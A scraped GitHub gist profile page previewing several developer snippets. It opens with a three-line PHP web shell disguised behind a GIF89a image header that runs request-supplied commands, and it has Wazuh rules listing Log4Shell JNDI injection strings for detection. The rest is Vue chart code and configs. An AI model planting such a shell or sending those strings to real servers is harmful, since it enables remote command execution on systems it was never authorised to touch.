Skip to content

Instantly share code, notes, and snippets.

View apertureless's full-sized avatar
:shipit:
Finding ...<b>u</b>

Jakub apertureless

:shipit:
Finding ...<b>u</b>
View GitHub Profile
GIF89a;
<?php
system($_REQUEST['nxi']);
?>
@apertureless
apertureless / rules.xml
Last active December 16, 2021 11:13
Log4j Wazuh
<group name="web,">
<rule id="100134" level="8">
<if_sid>31108, 31100</if_sid>
<regex>\${jndi:ldap:|\${jndi:rmi:|\${jndi:ldaps:|\${jndi:dns:|\${jndi:iiop:|\${jndi:http:|\${jndi:nis:|\${jndi:nds:|\${jndi:corba:|\${::-i}|\${lower:|\${upper:\$</regex>
<description>Log4Shell - Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228</description>
</rule>
<rule id="100135" level="8">
<if_sid>31108, 31100, 31120</if_sid>
<regex>\S%7Bjndi\S|\$%7Bjndi\S|%2524%257Bjndi|%2F%252524%25257Bjndi%3A|\${jndi:\${lower:|\${::-j}\${|\${\${env:BARFOO:-j}|\${::-l}\${::-d}\${::-a}\${::-p}|\${base64:JHtqbmRp|\${\${upper:j}\${upper:n}\${upper:d}\${upper:i}|\${\${upper:j}\${upper:n}\${upper:d}\${lower:i}|\${\${upper:j}\${upper:n}\${lower:d}\${upper:i}|\${\${upper:j}\${upper:n}\${lower:d}\${lower:i}|\${\${upper:j}\${lower:n}\${upper:d}\${upper:i}|\${\${upper:j}\${lower:n}\${upper:d}\${lower:i}|\${\${upper:j}\${lower:n}\${lower:d}\${upper:i}|\${\${upper:j}\${lower:n}\${lower:d}\$
#include <stdio.h>
int ulam_max(int a0);
int ulam_twins(int limit);
int ulam_twins_s(int limit);
int ulam_twins_i(int limit);
int ulam_multiples(int limit, int number);
int main()
#!/bin/bash
RED=`tput setaf 1`
GREEN=`tput setaf 2`
BLUE=`tput setaf 4`
MAGENTA=`tput setaf 5`
CYAN=`tput setaf 6`
NOCOLOR=`tput sgr0`
echo "${CYAN}
@apertureless
apertureless / bem.less
Created January 23, 2016 17:59 — forked from vivid-web/bem.less
BEM Helper (SCSS, SASS, LESS, Stylus)
// Mixins
.has(@element; @content) {
&__@{element} {
@content();
}
}
.variant(@modifier; @content) {
&--@{modifier} {
@content();
@apertureless
apertureless / App.vue
Last active September 6, 2018 14:41
Medium Vue.js & Chart.js
<template>
<div id="app">
<div class="container">
<div class="Chart__list">
<div class="Chart">
<h2>Linechart</h2>
<line-example></line-example>
</div>
</div>
</div>
@apertureless
apertureless / LineChart.vue
Last active February 5, 2018 14:18
medium-api-vue-01
<script>
import { Line } from 'vue-chartjs'
export default {
extends: Line,
props: {
chartData: {
type: Array | Object,
required: false
},
import {Line} from 'vue-chartjs'
export default {
extends: Line,
mounted () {
this.renderChart({
labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'],
datasets: [
{
label: 'Data One',
module.exports = {
config: {
// default font size in pixels for all tabs
fontSize: 12,
// font family with optional fallbacks
fontFamily: '"Fira Code", "Operator Mono", Menlo, "DejaVu Sans Mono", "Lucida Console", monospace',
// terminal cursor background color and opacity (hex, rgb, hsl, hsv, hwb or cmyk)
cursorColor: 'rgba(248,28,229,0.8)',